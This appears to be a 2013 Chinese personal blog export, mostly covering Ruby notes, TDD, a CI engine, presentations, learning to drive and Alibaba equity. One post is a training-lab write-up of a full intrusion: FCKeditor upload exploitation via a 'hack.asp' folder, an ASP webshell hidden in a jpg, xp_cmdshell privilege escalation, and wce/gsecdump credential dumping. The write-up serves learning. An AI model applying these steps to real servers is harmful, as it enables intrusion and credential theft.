<p>翻译作品,原文请点击:<a href="http://andrzejonsoftware.blogspot.ie/2012/06/how-to-waste-time-on-tdd.html">http://andrzejonsoftware.blogspot.ie/2012/06/how-to-waste-time-on-tdd.html</a></p>
<p>(这篇博客最早是由Piotr Wlodarek在他的TheSingularity.pl发表的。我非常喜欢它所以将它翻译成了英文,这样就能有更多的人读到它啦。)</p>
<p>有些人抱怨TDD(Test-Driven Development)拖慢了他们的研发流程。如果你也想步他们的后尘,那么你应该这么做:</p>
<ol>
<li>写完生产代码之后才开始写测试代码</li>
<li>从不先考虑设计,而是忙不迭的扎进TDD流程中,到了需要时才临时进行设计。你就有机会反复的修改代码和测试架构。</li>
<li>学会完全依靠自己去覆盖测试场景,不用费力去看任何教学视频,也不用去读任何这方面主题的书。</li>
<li>保证你的测试在开始运行前至少加载半分钟。只要你用过时蹩脚的硬盘驱动,完全不遗漏的加载所有框架代码。</li>
<li>保证所有功能点都是用网络浏览器,或者桌面图形窗口进行测试的。</li>
<li>保证所有的测试都依赖数据库。</li>
<li>只能通过手工查找对应的测试和生产代码。</li>
<li>频繁切换桌面、窗口、tab键,只是为了找到测试的启动脚本。</li>
<li>尝试写尽可能少的类,保证每个类中都包含了一堆不相关的属性。这些类一定可以成为测试的噩梦。</li>
<li>在Cucumber中定义非常漂亮的步骤,尽管你的客户压根不想读你的特性描述(或者可能你目前根本找不到一个客户)。</li>
</ol>
无线
2013-11-19T00:00:00+00:00
http://jinbin.github.io/%E6%8A%80%E6%9C%AF/2013/11/19/无线
<p>公司要ALL IN无线,下午去听了新浪微博、高德地图的无线研发流程交流。听了之后百感交集。</p>
<p>坦白的讲,这几位讲师本身水准有限——我倒不是评判其业务能力,单单指其演讲的水平,他们显然跟《黑客与艺术》的老湿有明显差距。翻来覆去听了半天,我不禁感叹:看来咨询公司确实有存在的必要,把东西讲明白确实是项可以挣钱的本事。</p>
<p>倒不是说这几位讲的研发流程有什么不妥的地方,只是没解答我来的疑问:</p>
<p>无线跟传统互联网到底有啥区别?</p>
<p>今天读到虎嗅的一篇关于微信公众平台大会的报道(<a href="http://www.huxiu.com/article/23286/1.html">http://www.huxiu.com/article/23286/1.html</a>),很震撼,腾讯确实已经走在太前面了:</p>
<p>(2013.11)微信目前有2.719亿月活跃用户,包括国际版。<br />
(2013)10月底有消息称微信用户数突破6亿。 <br />
(2013.11)微信共拥有200万+个公众账号,预计年底将有230万以上的公众账号,明年5月将超过300万。作者甚至认为类微信App已经是与Web App和本地App并列的一种App形态。而单从数量上看,类微信App已经领先。
(2013.11)目前朋友圈分享传播累计超10亿次,每天用户上传图片超过1亿。</p>
<p>微信官方典型案例:</p>
<ol>
<li>友宝自动售货机,消灭钢镚,微信扫码获得饼干饮料</li>
<li>海尔空调微信操控,让空调听懂人话,微信成为人与机器的接口</li>
<li>ICNTV让遥控板成为历史:通过微信进行电视节目选择,付费内容购买</li>
<li>印美图,谁还需要拍立得:通过微信支付进行照片即时打印</li>
<li>太平洋咖啡,叮咚你收到一杯咖啡:直接扫描二维码购买咖啡后,太平洋咖啡扫码机再扫二维码校验后兑换咖啡</li>
<li>易迅微信购物:直接扫描商品一键下单</li>
<li>微信支付充话费:扫码充话费</li>
</ol>
<p>这些案例几乎都用到了微信支付接口。</p>
<p>订阅号列举了逻辑思维、CCTV、参考消息、国务院公报以及联合国潘基文使用公众平台的案例,均有强烈的媒体属性。营销不被鼓励,服务才是王道。</p>
<p>阿里之所以ALL IN无线,与其说是看到了机遇,倒不如说是看到了危机。以前BAT三者之间井水不犯河水,你做你的搜索,我做我的购物,他做他的社交,虽然各有各的算盘,但谁都没有能力颠覆彼此(百度的有啊,阿里的旺旺,腾讯的拍拍,财付通,不甚枚举)。</p>
<p>然后如今,微信已经打到了阿里的家门口。微信购物、支付、O2O,越来越被人所接收——甚至人们开始认为这就是理所当然的事情。尽管我们都觉得互联网的发展空间很大,但是这仅仅是“理论”上的说法,互联网行业还有个说法是“赢者通吃”。很简单,一个人的时间是有限的,这是无法被改变的事实,人们开始用微信来购物,来支付,花在淘宝、天猫、支付宝上的时间就会越来越少,如果这种局面一旦形成了“趋势”,那么很快,弱势的公司哪怕有千亿市值,衰退到几十亿也是近在眼前的事情,比如诺基亚,黑莓。</p>
<p>尽管阿里今年以及可以预见的未来一两年,还是可以保持住高速的增长,但是真的真的,危机就在眼前啦!</p>
<p>其实苗头已经有了,只是我们之前真的不够警惕,说实话,ALL IN之前,我对无线也仅仅停留在概念中。想想,从买来iPhone之后(第一台智能机),到现在只有1年半多,但是无线,已经改变着我们的生活了。</p>
<p>以后会多了解一些关于无线的知识,避免落伍了。</p>
熟悉的陌生方法
2013-11-18T00:00:00+00:00
http://jinbin.github.io/%E6%8A%80%E6%9C%AF/2013/11/18/熟悉的陌生方法
<p>熟悉的陌生方法,经常在代码里遇见,混了个脸熟,看代码基本都能理解——但是到自己想用的时候,却又不甚了解具体细节,只能作罢。</p>
<h3 id="enumerablereduce同inject">Enumerable#reduce(同inject)</h3>
<p>文档:</p>
<blockquote>
<p>Combines all elements of enum by applying a binary operation, specified by a block or a symbol that names a method or operator.</p>
</blockquote>
<blockquote>
<p>If you specify a block, then for each element in enum the block is passed an accumulator value (memo) and the element. If you specify a symbol instead, then each element in the collection will be passed to the named method of memo. In either case, the result becomes the new value for memo. At the end of the iteration, the final value of memo is the return value for the method.</p>
</blockquote>
<blockquote>
<p>If you do not explicitly specify an initial value for memo, then the first element of collection is used as the initial value of memo.</p>
</blockquote>
<p>废话不多说。 <br />
(5..10).reduce(:+) # => 45 <br />
将Enum中每个值都用应用 ‘+’ 符号,初始值未指定,故设置为第一个参数5,之后进行 ‘+’ 的累积。</p>
<p>(5..10).reduce(10, :+) => 55 <br />
同上,但是初始值设置成了10。</p>
<p>[1,2,3].reduce(10) do |memo, num| <br />
memo = memo + num <br />
end <br />
memo为初始值,且被赋值为10, block中的语句每一次执行的结果都赋给了memo。注意,此处是把执行语句的结果赋给了memo,并非因为 = 操作。</p>
<p>[1,2,3].reduce(10) do |memo, num| <br />
memo = memo + num <br />
puts memo <br />
500 <br />
end<br />
得到:<br />
11 <br />
502 <br />
503</p>
<p>memo并不是由=来决定值,而是由最后一个语句500决定值。不多说了。</p>
<p>longest = %w{ cat sheep bear }.reduce do |memo, word|<br />
memo.length > word.length ? memo : word <br />
end<br />
memo为初始值,block中的语句每一次执行的结果都赋给了memo。</p>
<h3 id="arraymap">Array#map</h3>
<p>文档:</p>
<blockquote>
<p>Invokes the given block once for each element of self.
If no block is given, an Enumerator is returned instead.</p>
</blockquote>
<table>
<tbody>
<tr>
<td>[1,2,3,4].map {</td>
<td>x</td>
<td>x + “!”} => [“a!”, “b!”, “c!”, “d!”]</td>
</tr>
</tbody>
</table>
CI
2013-11-18T00:00:00+00:00
http://jinbin.github.io/%E6%8A%80%E6%9C%AF/2013/11/18/CI
<p>从架构上讲一下正在做的持续集成引擎,明天可能要给人分享。</p>
<p>Engine是总的入口。Engine本身主要做了三件事情:</p>
<ul>
<li>分析参数</li>
<li>解析app.yml文件,生成新的App</li>
<li>分配机器</li>
</ul>
<p>值得注意的是,由于depend_on参数的存在,对yaml文件的分析是一个递归调用的过程。</p>
<p>最开始机器分配,是按照yaml解析结果,递归统计总的App个数,依次分配机器。由于现在增加了环境复用的功能,可以通过data.yml文件,根据每个App的name,同样的应用可以复用上一个stage的环境(机器),所以对复用环境不会分配新的机器。分配的机器会保存在App里machine的参数。</p>
<p>最后我们得到的就是一个App.
App里面提供了两个方法:</p>
<ul>
<li>default</li>
<li>depend_deploy</li>
</ul>
<p>两个方法本质上是一致的。不过depend_deploy是用于部署依赖应用,所以省略了Ut, It等非必要步骤。<br />
我们调用default方法:</p>
<ul>
<li>setup_machine</li>
<li>build_dependents</li>
<li>source_analyze</li>
<li>CI steps</li>
</ul>
<p>首先我们看setup_machine:</p>
<ul>
<li>check_os,用于识别是windows还是linux环境,根据app本身参数</li>
<li>下载opshell,由于我们的脚本都在opshell中,所以先执行这个操作</li>
<li>执行setupBase.sh,理论上这个脚本是用来补充镜像的,应该最早执行,但是基于它是在opshell中的,故放到这一步</li>
<li>check_lang,识别是Java,Cpp还是其他语言的工程</li>
<li>安装puppet</li>
<li>执行app.yml中prepare的命令</li>
</ul>
<p>到此完成了环境的准备</p>
<p>然后再是build_dependents,这一部分其实就是递归调用依赖应用的depend_deploy方法。</p>
<p>source_analyze,目前是处理源文件中的sql脚本的。</p>
<p>最后才是真正的CI命令:</p>
<ul>
<li>static_check</li>
<li>setup_service</li>
<li>unit_test</li>
<li>package</li>
<li>install</li>
<li>after_install</li>
<li>start</li>
<li>set_connect</li>
<li>run_it</li>
</ul>
<p>未完待续…</p>
Ruby OO
2013-11-16T00:00:00+00:00
http://jinbin.github.io/%E6%8A%80%E6%9C%AF/2013/11/16/Ruby_OO
<p>Ruby的OO实在是个常聊常新的话题。<br />
Ruby号称是完全的面向对象编程语言,”一切皆对象”,所以在Ruby的世界里,你总是可以问:”对象在哪里?”</p>
<h2 id="对象类超类">对象、类、超类</h2>
<p>首先列出一张我见过比较好的Ruby类的关系图:</p>
<p><img src="/image/ruby_oo.jpg" alt="Ruby OO" /></p>
<p>这张图比较清晰的展示了对象,对象的类,Class,Module,Object,Kernel,BasicObject之间的关系。</p>
<p>经常有人混淆的一点是:instance_of 和 subclass,前者是实例与对象的关系,后者是继承的关系。</p>
<p>实例与实例之间共享相同的方法,所以方法并不定义在某个实例中,而是定义在类中。类与类之间在允许情况下可以共享方法,这就有了继承的关系。</p>
<h2 id="accesscontrol">AccessControl</h2>
<p>在一个类中,方法根据多大程度向外展示,可以分为三种:</p>
<ul>
<li>public (default)
没有任何限制</li>
<li>protected
只能被定义类的对象,或者定义类的子类们的对象所调用
Access is kept within the family.</li>
<li>private
只能在当前对象的上下文中使用<br />
« Programming Ruby » : “ Can be called only in functional form (that is, with an implicit self as the receiver). Private methods therefore can be called in the defining class and by that class’s descendents and ancestors, but only within the same object.” <br />
只能通过函数式进行调用(即隐式的self),因此也可以在定义的类和其子类内部使用。</li>
</ul>
<p>作为动态语言,Ruby只有当你试图访问受限方法时,才会提示权限错误。</p>
<h2 id="获取对象方法">获取对象方法</h2>
<p>通过Ruby的内省方式我们可以得到一个对象的方法:</p>
<h5 id="从对象的角度">从对象的角度</h5>
<ul>
<li>methods<br />
官方文档:Returns a list of the names of <strong>public</strong> and <strong>protected</strong> methods of obj. This will include <strong>all the methods accessible in obj’s ancestors</strong>. If the all parameter is set to <em>false</em>, only those methods in the receiver will be listed.</li>
<li>private_methods <br />
官方文档:Returns the list of private methods accessible to obj. If the all parameter is set to false, only those methods in the receiver will be listed.</li>
<li>protected_methods</li>
<li>public_methods</li>
</ul>
<h5 id="从类的角度看">从类的角度看</h5>
<ul>
<li>instance_methods<br />
Returns an array containing the names of the public and protected instance methods in the receiver.</li>
<li>private_instance_methods
Returns a list of the private instance methods defined in mod</li>
<li>protected_instance_methods</li>
<li>public_instance_methods</li>
</ul>
<h2 id="kernel">Kernel</h2>
<p>实际上,Object的实例方法都是定义在Module Kernel中的, Objece通过include将Kernel中的实例方法变为了自身的。</p>
<p>这个地方不深究其实也没啥大不了的东西,一深究就会发现水很深…</p>
<p>首先我们来看Ruby怎么实现include: <br />
Ruby implements include very simply: the module that you include is effectively <strong>added as a superclass</strong> of the class being defined. It’s as if the module was the parent of the class that it is mixed in to.<br />
就是当你include AMod时候,等同于Ruby搞了个类作为当前类的父类就完事了。</p>
<p>另外一点是:Module must itself hold a link to the original parent class.<br />
这句话第一次看的时候感觉也是废话,因为只有这样才能把ancestor chain链接起来嘛。但是细思恐极,因为下面这个例子就是这句话的真实体现……</p>
<p>如果想要在Object里面添加方法,可以这样做: <br />
module New<br />
def new_method<br />
end<br />
end <br />
module Kernel<br />
include New<br />
end<br />
new_method</p>
<p>由于脚本中默认的main是Object的实例,而Object继承自Kernel,BasicObject,所以在Kernel中include新增的new_method方法后,在脚本里就可以直接使用new_method了。</p>
<p>这逻辑是不是很巧妙?</p>
<p>但是上面这段代码在脚本里执行出错==!:undefined local variable or method new_method for main:Object</p>
<p>因为你还需要加上一段: <br />
class Object <br />
include Kernel <br />
end</p>
<p>原因其实也没啥滑头,大家自己考虑吧。</p>
<h2 id="singleton-class">Singleton Class</h2>
<h5 id="定义singleton-methods">定义singleton methods</h5>
<ol>
<li>class Singleton<br />
def Singleton.one()<br />
end<br />
end</li>
<li>module Other<br />
def two()
end<br />
end</li>
<li>class « Singleton<br />
include Other<br />
def one()<br />
end <br />
end</li>
<li>Singleton.extend Other</li>
<li>def Singleton.one()<br />
end</li>
</ol>
<p>通过Object#singleton_methods用于查看对象上的singleton methods</p>
<h5 id="what-is-it">What is it</h5>
<p>singleton method的实现方式,跟Module类似,当定义singleton method时,就会插入a new anonymous class到inheritance hierarchy。<br />
singleton method是针对对象的。很多人会说,singleton method不是用来定义类方法嘛?<br />
所谓的类,是指share同样的方法到不同的实例,但是singleton method只是为specific的对象服务的,让定义了singleton method的特定对象显得special。从这个角度讲,所谓的类方法,只是singleton method的一小部分。</p>
<h5 id="include--extend">include & extend</h5>
<p>Object#extend:Adds to obj the instance methods from each module given as a parameter.
extend就是将molude中的实例方法作为obj的singleton method.不管你的receiver是obj还是class,本质上都是obj</p>
<p>Object#singleton_class可以返回一个ojb的singleton class,如果这个obj没有实例类,则这个方法会创建一个新的实例类。 <br />
可以利用这个方法动态的为对象添加方法:<br />
module B <br />
def newone <br />
“newone” <br />
end <br />
end <br />
obj.singleton_class.send :include, B <br />
obj.newone #=> “newone” <br />
这样,我们就可以动态的为特定的obj添加不同模块中的方法了</p>
<p>关于singleton method,可以参考<a href="http://www.devalot.com/articles/2008/09/ruby-singleton">http://www.devalot.com/articles/2008/09/ruby-singleton</a></p>
Ruby Exception
2013-11-15T00:00:00+00:00
http://jinbin.github.io/%E6%8A%80%E6%9C%AF/2013/11/15/Ruby_Exception
<h2 id="c时代的异常处理">C时代的异常处理</h2>
<p>由于C没有异常处理机制,所以只能通过返回值来判断是否存在异常。
这种方式有两个弊端:</p>
<ul>
<li>遗漏会出现异常的点</li>
<li>如果面面俱到,则错误处理代码可能会淹没正常的业务代码</li>
</ul>
<h2 id="ruby的异常处理">Ruby的异常处理</h2>
<p>在Ruby中,我们用raise方法来创建一个表示异常的对象。<br />
raise有四种使用方法:</p>
<ul>
<li>raise
产生一个错误信息为空的RuntimeError(default for raise)</li>
<li>raise “Exception”
产生一个错误信息为”Exception”的RuntimeError</li>
<li>raise TypeError, “Exception”
产生一个错误信息为”Exception”的TypeError</li>
<li>raise TypeError, “Exception”, arr
产生一个错误信息为”Exception”的TypeError,arr保存backtrace信息</li>
</ul>
<p>通过rescue可以捕获Exception<br />
如果rescue后面没有跟参数,则默认捕获StandardError.(所以,如果想自定义Exception,一般继承StandardError比较合适)</p>
<p>在block中raise的最近一次的error会保存在$!全局变量中。在rescue中,通过比较parameter === $!(===除了表示通常的==的含义,也表示当后面的参数为前面参数或其子类的实例…, 则判断为true;或者说,前面的参数为后面的类或者父类…, 则判断为true) 来判断是否应该捕获此异常(如果没有parameter则默认为StandardError)</p>
<p>如果rescue后面的parameter是raised exception的class或者superclass,则匹配成功。</p>
演讲的修罗
2013-11-06T00:00:00+00:00
http://jinbin.github.io/%E6%96%87%E7%AB%A0/2013/11/06/演讲的修罗
<p>黑客的艺术系列课程竟然也开始谈“演讲”了。这倒是挺符合蔡学镛所说的跨界的能力的——演讲能力,包括PPT设计,都是蔡学镛刻意培养的能力之一。</p>
<p>猥琐的老湿还是一如既往的不给PPT(准确的讲,是Prezi)。而Prezi跳跃的节奏又不太适合记忆要点,所以只能凭记忆来感知了。</p>
<p>老湿将演讲分为四个等级:</p>
<ul>
<li>30分</li>
<li>60分</li>
<li>80分</li>
<li>120分</li>
</ul>
<p>30分是按照自己的思路来设计。我认为,这个自己的思路可能还不够自圆其说,所以只能得到30分。<br />
60分是能够从听众的角度来设计。<br />
80分是能够让听众猜不到下一步,引导听众。其实应该是在演讲中能够激发听众的兴趣。
120分则是将演说变成个人作品。120分我觉得有些夸张,效果好的演说到达一定境界,反而仁者见仁智者见智了。<br />
就好比写软文,有些软文本身可能会被人一部分人觉得“低俗”,“无聊”,但是效果却出奇的好。说白了,每个演说都有其受众,拿通用的标准来衡量都是偏颇的。<br />
其实,分级的目的就是为了让大家确定自己的标准,然后才能获得提升。</p>
<p>然后就是各种PPT演讲稿展示,乔帮主、老罗、雷布斯的三个演讲视频的播放。</p>
<p>乔帮主:<br />
#<embed src="http://player.youku.com/player.php/sid/XNTMyOTI4MTg4/v.swf" allowfullscreen="true" quality="high" width="480" height="400" align="middle" allowscriptaccess="always" type="application/x-shockwave-flash" /></embed></p>
<p>老罗: <br />
#<embed src="http://player.youku.com/player.php/sid/XMjYxNDc4Mjg4/v.swf" allowfullscreen="true" quality="high" width="480" height="400" align="middle" allowscriptaccess="always" type="application/x-shockwave-flash" /></embed></p>
<p>雷布斯:</p>
<embed src="http://player.youku.com/player.php/sid/XNjA2MjUzMzM2/v.swf" allowfullscreen="true" quality="high" width="480" height="400" align="middle" allowscriptaccess="always" type="application/x-shockwave-flash" />
<p></embed></p>
<p>乔帮主和老罗的演讲水平更甚一筹,雷布斯的PPT最为惊艳,可惜口才略逊一筹。</p>
<p>老罗的演讲,从标准、规范来说其实是一无是处。尽管PPT的图片还算不错,可是一张PPT讲了整整10分钟(囧…)这种事情怎么看都不可能是书本上教的。但是老罗自有其魅力。其接地气的故事轻而易举的将听众带入了他的故事,即便老罗没有和台下听众直接互动,但是却让你有一种参与感,彷佛故事中的主角就是自己和老罗。</p>
<p>这的确是个亮点。蔡学镛在自己的PPT设计之道中提到一点,就是将听众引入到你的故事中。之前我总理解要讲跟用户相关的故事。但是老罗彻底颠覆了我的想法,老罗的故事唠唠叨叨,没有重点,但是你就会觉得这个故事挺有趣,然后就愿意听下去。原来这么“莫名其妙”的讲自己的故事也能让听众感同身受。原因就在于这个故事的接地气,实在。</p>
<p>细节决定成败。老湿强调了PPT的颜色搭配,场地设计,桌椅排列,耳麦等等,其实都不是大的东西,但是合在一起却可以直接决定了演讲的质量。</p>
<p>说到底,演讲是个实践的事情(其实那件靠谱的事情不是呢?),所谓的技巧只是事后总结的东东。接下来的一个月,赶在猥琐的老湿的演讲的修罗(进击篇)之前,好好锻炼一下吧。</p>
蔡学镛老湿的《创业ING》
2013-11-05T00:00:00+00:00
http://jinbin.github.io/%E6%9D%82%E8%B0%88/2013/11/05/蔡学镛老湿的《创业ING》
<p><img alt="caixueyong" src="http://p0.img.imtuan.com/wechatmsg/article/20131031/b35f11ca48fd4a18bca6d0a337047bbc.jpg" style="width: 200px; height: 300px;" /></p>
<p>先来一段蔡学镛老湿的《创业ING》</p>
<embed src="http://www.tudou.com/v/DhC1_c2xNf0/&bid=05&resourceId=0_05_05_99/v.swf" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" wmode="opaque" width="480" height="400" />
<p></embed></p>
<p>“不努力就会变成IE浏览器。”,”坚信不完美的产品是垃圾。不做垃圾!不做垃圾!”…..听起来还是有点小激动的。</p>
<p>markdown的编辑器可以直接引用视频,这也是我之前没想过的(的确是没想过)。什么事情,只要能想,看来总有人把方法提供给你的。</p>
<p>今天看了蔡学镛老湿的《可卡因 + 海洛因: 超亢奋的PPT设计秘诀》,然后又在微信上读了他最新发的《技术人要有跨界能力(四之一)》——由于只有四分之一,未免不够尽兴。在这篇文章中,他提到自己在创新工场时录的一首歌《创业ING》—— 歌唱也是他的跨界能力之一。</p>
<p>一个人的能力,本就不是天生的。比如蔡学镛,他的写作能力是为了写书中锻炼出来的,演讲能力,PPT能力也是因为参加各种会议而不得不培养的。刚开始,他上台演讲,花20分钟才能消除紧张,后来是10分钟,再过几年缩短到5分钟,现在则能够完全不紧张。一个人的能力(无论是否跨界),都是需要有能力创造出机会,然后再是把握住每一次锻炼的机会,不断提高、磨练才能达到。</p>
<p>我想,很多时候最难的就是有锻炼的机会。我只是个普通的人,其实我也没有太好的方法。但是,你总可以在能够把控的地方找到锻炼的机会。比如今天,我写这篇博客的时候,就学到了如何在markdown编辑器里贴图和贴视频的方法,下次用的时候就会很熟练。</p>
<p>尽管是小到不能再小的事情,但人生本来就没什么大事。</p>
The Hacker Way(1)
2013-11-04T00:00:00+00:00
http://jinbin.github.io/%E6%8A%80%E6%9C%AF/2013/11/04/The_Hacker_Way_1
<p>今天正式进入“十个小伙伴的故事”实战。这节课没有多余的废话,就是实战。</p>
<p>猥琐的老湿在他自己搭建的环境上演示了一把入侵,然后分析了下入侵的细节,然后我们便依样画葫芦的进行了一遍入侵。尽管只算是个小模拟,但是小心脏还是扑通扑通的兴奋。</p>
<p>今晚是第一次接触“入侵”,对于大部分概念不甚理解。现在只能记录下大概的操作步骤,作为记录。</p>
<p>这次的入侵是利用了网站的FCKEditor文件上传漏洞。</p>
<h5 id="step1-定位漏洞创建特殊文件夹名再执行文件解析漏洞得到webshell">Step1. 定位漏洞,创建特殊文件夹名,再执行文件解析漏洞得到webshell</h5>
<p>其实这里的难点应该是定位漏洞,不过作为第一次的实战课,老湿侧重让大家体验入侵的过程,省略了定位的过程。</p>
<ul>
<li>通过漏洞新建一个文件夹<code class="highlighter-rouge">/kingcms/admin/system/editor/FCKeditor/editor/filemanager/connectors/asp/connector.asp?</code>
<code class="highlighter-rouge">Command=CreateFolder&Type=Image&CurrentFolder=/hack.asp&NewFolderName=hack.asp</code></li>
<li>进入操作界面
<code class="highlighter-rouge">/kingcms/admin/system/editor/FCKeditor/editor/filemanager/browser/default/browser.html?</code>
<code class="highlighter-rouge">Type=Image&Connector=../../connectors/asp/connector.asp</code></li>
<li>制作包含ASP webshell代码的正常后缀名文件, 例如jpg文件
echo “<%execute(request(“MH”))%>” » jinbin.jpg</li>
<li>上传此文件至刚才新创建的文件夹内
此处利用了IIS 6处理文件夹扩展名时,将/*.asp/目录下的所有文件都作为ASP文件进行解析的漏洞。此时,IIS 6将jinbin.jsp作为ASP文件处理。</li>
</ul>
<h5 id="step2-查找可进行提权的漏洞">Step2. 查找可进行提权的漏洞</h5>
<p>完成第一步,仅仅只能获得普通权限,一般情况下其实什么也做不了。所以,找到提权的漏洞是第二步。</p>
<ul>
<li>浏览目录结构,找到提权途径,一般分为以下几种:
<ul>
<li>数据库</li>
<li>web应用程序</li>
<li>OS</li>
<li>第三方软件</li>
<li>DLL劫持</li>
<li>启动项 (…)</li>
</ul>
</li>
</ul>
<p>此处利用里数据库的漏洞。所以把注意力放到配置文件中,找到数据库配置信息。一般来说,数据库信息都经过了加密,所以要学会解密(解密过程没怎么讲,所以略过)。</p>
<h5 id="step3-服务器提权">Step3. 服务器提权</h5>
<p>利用植入的大马(猥琐的老湿事先已经准备好),和Step2中得到的用户名、密码,通过MSSQL的扩展存储xp_cmdshell可直接执行命令,且权限为system</p>
<h5 id="step4-获取账号hash">Step4. 获取账号hash</h5>
<ol>
<li>wce 可以通过wce -w 获取目前正处于登录状态的所有账号明文密码。 <br />
WCE全称Windows Credentials Editor。</li>
<li>gsecdump 可以通过gsecdump -a 获取处于这台服务器上的账号密码hash,然后通过彩虹表进行破解.<br />
这里可以参考http://www.objectif-securite.ch/en/ophcrack.php (在线LM Hash破解网站)</li>
</ol>
<p>这里的命令都利用了Step3 中的xp_cmdshell来执行。</p>
<p>至此,主机的管理员用户名及密码都已经到手了。</p>
学车
2013-11-03T00:00:00+00:00
http://jinbin.github.io/%E6%96%87%E7%AB%A0/2013/11/03/学车
<p>今天继续学车。两周之前正式开始上车,学了两天。上周去北京出差,中断了一次,本周日继续。</p>
<p>学车对我来说颇有乐趣。作为个人能够驾驭这样一部庞大而复杂的机器,本身就是一个颇具挑战和成就感的事情(坦白的讲,这样的事情在生活中还是不多见的。)。学习的过程就是不断体验这个目标的过程,即便刚开始不太熟练。</p>
<p>总的说来是学车的第三天了。</p>
<p>第一天:熟悉车感,打方向盘,可以前进后退。
第二天:右转弯,后退入库停车。</p>
<p>今天,继续入库停车操作,熟练操作。首先是左右弯,第二是在正常流程熟练的情况下逐渐加强自己修正方向的能力。</p>
<p>第二点其实很关键,因为方向感跟车感关系紧密,不经过长时间的开车实战很难培养。今天我也只能说稍微体会到了一些,还不能说多熟练。</p>
<p>其实就是那么几点体会:</p>
<ol>
<li>无论是向前还是向后,车的方向都跟方向盘打的方向一致。</li>
<li>倒车时,当觉得那边空的太多,则方向盘往那个方向打。</li>
<li>倒车回来时,一般回半圈,但是这并不是教条,如果发现离线太近,则可以多打一些;若离线太远,则少打一些。</li>
</ol>
<p>其实下面两点说白了都是第一天的延伸,但是理论好记,实战中能不能应用又是另一个问题了。</p>
<p>总的说来,三天练车,每天都能感受到进步,真是一件愉快的事情。</p>
<p>真正的学习,都应该是愉快的。</p>
11月开篇
2013-11-01T00:00:00+00:00
http://jinbin.github.io/%E6%96%87%E7%AB%A0/2013/11/01/11月开篇
<p>11月1日不是一个特殊的日子,但是却颇有些令人激动。因为这个日子宣告了“双十一”大Party的正式开启。</p>
<p>凌晨的时候,我就开始刷手机,抢红包。刚一开始果然也不负众望,顺利拿下几个红包,不过抢到红包的概率明显是有区分的,之后红包跟我就是路人了。</p>
<p>今天同时也宣布了一个决定,小微金融服务集团(简单的说,就是支付宝吧)宣布了股权架构。其中,40%的股权用于包括阿里巴巴集团在内的员工,60%用户引进战略投资者。这个决定对于广大阿里同学自然是喜大普奔。因为这意味着,11月1日当天在职的阿里员工,多多少少都能分到一部分股权,尽管也不知道有多少。</p>
<p>40%这个数字不算低,但是其中能够一次性授予的量是多少还不太好估计。马总本人在阿里集团占股7.3%,这次明确说明了马总本人在小微金服占股不会超过7.3%。</p>
<p>我对股权这东东比较好奇(尽管蛋疼的是这股权跟我半毛钱关系没有),所以做了简单分析:</p>
<p>据wiki百科称:“雅虎持有阿里集团24%股权、软银(Softbank)持阿里集团36.7%股份,另管理层、雇员及其他投资者持股比例合共约为44.1%,当中马云持阿里集团约7.43%,其他高管包括陆兆禧、武卫、蔡崇信的阿里集团持股分别为0.29%、0.03%及2.15%。” 据对比其他资料,可以说这些数字是相对准确的(不会太离谱,但别当真!)</p>
<p>阿里集团管理层、雇员及投资者持股差不多40%,刚好与小微金服保留给员工的40%比例一致。那么马总持股也就跟7.3%接近,不超过这个数字也很正常。</p>
<p>但是,这里的40%股权中,有一部分是作为未来员工激励的。如果这个比例大(事实上我认为也要占大头),如果按照小微金服与阿里集团股权一一对应的关系,那么马总的股权可能会远低于7.3%。</p>
<p>可能嘛?呵呵。</p>
<p>个人认为马总的持股比例肯定不会超过7.3%(因为按照一一对应的关系,不远低于7.3%就不错了),但是也绝不会远少于这个数字,毕竟,经历了与雅虎的这么多事件之后,马云及其团队对于小微金服的控制权是极重视的。但对于大股东而言,简单的修改一下游戏规则,通过年限、层级、持有集团股权等等维度,可以保证大股东的股权接近于对应集团股权比例,但是小股东的股权可能就不会接近于集团股权比例了。</p>
<p>当然以上纯属瞎猜。怎么说呢,大股东吃肉的时候还能想到小股东,甚至是普通员工,这一点就非常可贵了,大家肯定也不会去较真。</p>
<p>至于具体规则如何,拭目以待吧。</p>
<p>阿里管理层在股权一事上能够考虑到员工在当今社会已经很难得了。从阿里的文化出发,这件事情倒也是稀疏平常,当然阿里也是很会公关的企业了。</p>
<p>至于我这样的底层员工,就当在路上捡到一颗糖,虽然吃不饱,但毕竟是甜的,也可以笑一笑了。</p>
继续写博客
2013-10-31T00:00:00+00:00
http://jinbin.github.io/%E6%96%87%E7%AB%A0/2013/10/31/继续写博客
<p>快两个月没有维护博客,感觉就像过了一辈子这么久。</p>
<p>两个月之前,还没有“来往”,还没有火热的“为无线All In”,还没有出差去过北京,还没有参加过规模变得高档的Rubyconf,还没有从业务部分转到技术平台部门,还没有过科目一,还没有开始学车,还没有参加过《黑客与艺术》的培训,还没有去过沙漠 …</p>
<p>从这个角度看,这两个月可不算短了。</p>
<p>尽管也不是什么大不了的事情,但也都是值得一提的事情。</p>
<p>这里,也没什么大不了的事情,就是想写写博客,然后想把这件没什么大不了的事情坚持下去。</p>
<p>的确是没什么大不了的。</p>
三年陈
2013-09-04T00:00:00+00:00
http://jinbin.github.io/%E6%96%87%E7%AB%A0/2013/09/04/三年陈
<p>三年陈。<br />
三年是一道坎。阿里谓之“三年陈”,意思是从这一刻起才能算真正的阿里人。<br />
2010年是个招聘大年,阿里一次性招了大批毕业生进来,我也是其中之一。从一开始的新鲜兴奋,到现在这个原本该出一点成绩的时候,反而多了很多迷茫。<br />
工作越来越多的是出于习惯,而不是内心的激情。现实与梦想存在着巨大落差,却倍感无力。周围的人越来越喜欢谈论结婚生子,柴米油盐————这没有什么不好,但是似乎,这不是我想保持的生活。也许终有一天我会习惯于生活本身,但那也是在生活满足了我的渴望之后。</p>
<p>反思,思考,实践。保持好战斗的状态。我还是相信自己。</p>
图片展
2013-08-05T00:00:00+00:00
http://jinbin.github.io/2013/08/05/图片展
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>YangMi's Photo</title>
<style>
* {margin:0;padding:0}
body {background:#CCCCCC;}
#div1 {width:900px;height:300px;margin:100px auto;position:relative;background:red;overflow:hidden}
#div1 ul {position:absolute;left:0;top:0}
#div1 ul li {float:left;width:300px;height:300px;list-style:none;}
</style>
<script>
window.onload = function ()
{
var oDiv = document.getElementById("div1");
var oUL = oDiv.getElementsByTagName("ul")[0];
var aLi = oUL.getElementsByTagName("li");
